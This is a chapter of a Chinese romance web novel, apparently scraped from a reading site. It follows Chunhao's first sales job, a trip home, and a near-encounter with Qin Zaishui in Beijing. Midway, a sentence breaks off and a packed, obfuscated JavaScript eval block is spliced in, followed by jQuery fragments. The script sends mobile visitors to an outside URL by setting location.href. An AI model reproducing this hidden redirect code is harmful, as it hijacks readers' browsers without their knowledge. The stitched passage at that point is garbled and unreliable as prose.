羡山 作品

47. 春水

[在那片灯笼下,我看到夜色,却又想起你。]


-


第二日一早,春好给厉甄回了电话。


她愿意入职。


不论如何,入行再说,她怎么样都是要留在北京的。


“行。”厉甄说,“我给你发地址,你来办入职吧。”


地址在大望路,靠近四环。


春好去的时候,是秘书接待的她。


她才知道,自己搬了三年货的酒水公司,上面也是个庞然大物的控股集团,叫环科。环科总部在上海,主营做水处理设备,旗下有自来水生产、工业水处理、商用净水器等板块,酒水饮料供应只是微不足道的一小部分。


正巧今年,商用净水器板块要在北京开分公司。厉甄调过来做副总经理。


她从酒水供应链的小分公司调任到这里,也算升职。


秘书给她介绍完集团板块,又说了下员工福利。


春好看见电脑ppt上的“员工家属医疗补助”板块,她问:“武汉白沙洲那边有个仓库管理员姓陶,她儿子有智力障碍,这个福利可以包含吗?”


“可以的。但要在电脑上申请。”


春好眼睛微亮,“您可以教我怎么申请吗。”


陶姐肯定不知道这个怎么弄。


秘书看她一眼,没拒绝,大致告诉她流程。


春好拿笔记好,准备回去拍照发给陶姐。


最后,到签人事合同。


春好笔尖顿了下,写下自己名字。


等她签好,秘书合上文件出去了。


春好一动不动坐着,阳光扑在会议桌上,她怔忪望着窗外。


这一片写字楼都不高,有些矮胖,却显得天空格外宽阔。


厉甄从外面进来,见春好在发呆:“刚签完字,后悔了?”


春好回神,她站起来,摇头:“没有。”


“心里有落差?”厉甄提醒,“销售也不好做的。大多数行业尽头,其实就是销售。”


春好抿唇:“嗯。”


她倒不是觉得有落差,只是在想,她今天选的这条路,到底对不对得起秦在水离开的这个结局,对不对得起他付出的那些代价。


她也明白,厉甄愿意拉她一把,也不是看中自己能力,只是投资站队而已。


她连找份工作,都需要秦在水为她预支信用。


但没有办法。


她需要有安身立命的本事,她不能放弃。


厉甄看她站在阳光里,盘靓条顺,眉眼却有难以察觉的坚硬。


她不知道她和秦在水有怎样的故事,但她猜测,秦在水出国,多半是因为她。


“既然没问题,下周开始实习吧。”厉甄向她伸出手,“欢迎入职环科。”


-


再开学的时候,春好没继续打比赛,校外的补习兼职也辞掉了。


生活重心回到学习和工作上。


有人继续喊她打商赛,春好婉拒。


大家很不解,为少一个得力队友而惋惜,但心里又庆幸,不再打商赛,也意味着后面和保研无缘。他们会少一个绩点前十的竞争对手。


环科那边,厉甄亲自点了人带她。


她才知道,销售要学的东西这样庞杂。


公司的产品她得了解,客户的画像她得清楚,交涉的话术她也得熟练。


她甚至买了一个记事本,专门记录工作日程,以及遇到的各种各样的问题。


她不是内向的人,但销售总要大量地和人讲话,大量地应对复杂的情况,有时,她还是会觉得难堪而心虚。


春好知道自己没什么能耐,但她有一个优点,就是够扎实。


她下决心做一件事,就不会再瞻前顾后。


有客户刁难她,她不生气,也不吵架,只回头把刁难自己的那句话写在小本本上,再琢磨该怎么回应。等下次遇见类似的,她好派上用场。


就这样一次又一次,半年下来,她即使被迎面拒绝,也能快速收拾心情,微笑地维护客情,说下次再见。


厉甄很满意她的成长速度。她才调任不久,需要有自己的人手。


而春好也就在这样的上下班里,和其他同学所走的那条道路,拉开了距离。


大三寒假,春好回了趟西达县。


县政府弄了个“人才回乡”的交流活动,而这些人大多数都是受明坤资助的人。


春好对活动提不起兴趣,只是正巧过年,她觉得应该回来看看村伯伯。


西达依旧青山环绕,冬天的冷气让这些山显得青面獠牙。


县政府门口,依旧有不少上访的人群,但支着棚子等村民来签字搬迁的人没有了。


2016年起,国家开启全面扶贫,根据前些年各地的试点的经验,都在争取脱贫摘帽。


西达这边也引进了不少经济产业,文旅也陆续发展起来。


村伯伯从办公楼里出来,两人说了会儿话。


春好站在国旗下,听村伯伯絮絮叨叨这些年的发展。


她却想起十三岁,秦在水牵着自己在这里照了相;又想起高三的冬天,他在这里一批一批接收村民的材料,耐心地听村民的诉求,那已经是试点的最后几个月;她要坐客车走,他却毫无预兆地上车,到她座位旁说“我和你说几句话就走”。


她那时和他生闷气,他问她吃不吃鱼她都不说话。其实她不气他,她只是气自己而已。


现在想起来,她又后悔那时没太搭理他。


竟然快三年了。


等开春,春末夏初的时候,她就和秦在水分开整整三年了。


和村伯伯说完话,春好去参加交流活动。


她看一圈来人,意外居然在这里再次见到了范凤飞。他还是一身西装领带。


春好才知道,原来范凤飞也是西达县的。只是他老家在东村,和自己不是一个村子。


范凤飞是公认混得最好的那个,大家七嘴八舌,说他在北京工作,手下管好些人,还是一个什么什么金融公司。


春好没仔细听,她眼神很漠然。


又有人问起春好,毕竟她是学校最好的那一个。


春好却笑:“我没什么成绩,在做销售。”


范凤飞看她一眼。


大家点点头,像掠过一粒灰尘,掠过了她。


话题又回到范凤飞身上:“看来最有出息的还是范总。”


春好拧开矿泉水喝一口,不说话,也不拆穿。


这里的人能读书,多少都归功于秦在水,可没人记得这个名字。而她也成为他资助的小孩里,最不起眼的那一个。


春好坐在其中,忽而茫然,甚至怀疑这些年虚掷的光阴,她等的人是否存在过。


可她又是真切地拥抱过他。


在无数次午夜梦回里。


……


2018,大三下开学。


春好计划在这半年将学分全部修完。


等大四她就准备转正工作了,没毕业买不了社保,工资会全额达到她


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320868|167478||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


卡里,等毕业了再扣社保。


四月清明,诗吟来北京玩,春好接待她。


两人一起爬长城,逛完故宫又去南锣鼓巷。


黄诗吟看见一家店卖白白的杏仁布丁,她递给春好一个。


春好拿塑料勺子舀了一口,立刻摇头:“这不正宗。”


黄诗吟瞪眼:“这你都吃得出来?”


春好点头:“我吃过更好吃的。这一看就是兑水了。”


黄诗吟了然:“他带你吃的吧?”


她笑:“看把你口味养刁的。”


春好噎住,她垂眸,想起秦在水递给她的杏仁布丁,确实是好吃的,和她妈妈做的豆腐一样好吃。


到晚上,两人去长安街骑车。


边骑边聊天,诗吟问:“好好,大学真没人追你吗?我不信。”


春好踏着共享单车:“有人追啊。但追我的人好像都不太见得到我。”


“啊,什么意思?”


“他们想追我,但没我起得早,我一般六点就起床了,晚上也很迟才回寝室。”春好说,“所以过那么个几天,他们也不追了。”


黄诗吟吐槽:“怎么这样。一点都不坚持。”


“坚持一件事很难的。”春好说。


“也是。”


骑过天-安-门,不知哪一个路口,有人拦住骑车的大部队,“例行检查,请出示身份证。”


春好从包里拿出身份证。


警察看到她这里,接过她的身份证往读取器上一靠,蹙眉:“姑娘,咱们这身份证该换了啊。快到期了,照片都看不出是你了。”


春好伸头一瞧,证件上还是自己十六七岁的样子,水母一样的短发,飒气可爱,还是高一从北京研学回来换的。


警察将身份证还给她:“赶紧换一个,也是新的开始不是?”


春好应下:“哎,后面就换。”


队伍还没放行。


春好就这么仰头看北京的长夜。


四月晚风柔凉而肃穆。


视野垂落,不知为何,她无意识地看向一旁早已禁严的路口。


那里夜深无人,也不许通行。道路两旁高高挂着红灯笼,照亮灰色院墙,就这么安静延伸至道路尽头。


忽地,白光微闪,一辆黑色行政车从里面缓缓开出来。


灯笼光、路灯光,流水一样倒映在车漆上。


春好眼睛微微睁大。


不知为何,她下意识就蹬着踏板,往前凑了凑。


“姑娘,不能往前。”警察立刻制止她。


春好心一缩,没往前了,只眼睛紧紧盯着那辆车。


她看着那辆车右拐,往西边驶去。


只留下一串黯淡的尾灯,像她从前哭红的眼。


春好心缺失一块,那一瞬的肯定,也随着车开远而逐渐消散。


路口放行了,骑行的人陆续往前。


春好也吐出口气,她重新骑上车,隐没在泱泱行人里。


-


车驶上长安街,往老宅的方向去。


钟栎坐在副驾驶,往后问:“看什么呢?这么入神?”


秦在水收回目光,他重新靠进靠背里,没说话。


“这次回来还出去吗?”钟栎问。


“不出去了。回集团做事。”


钟栎见他仍望着窗外,不由调侃:“秦总,也就三年没回来,路都不认识了?”


秦在水动动嘴角。


他说:“没有,看错人了。”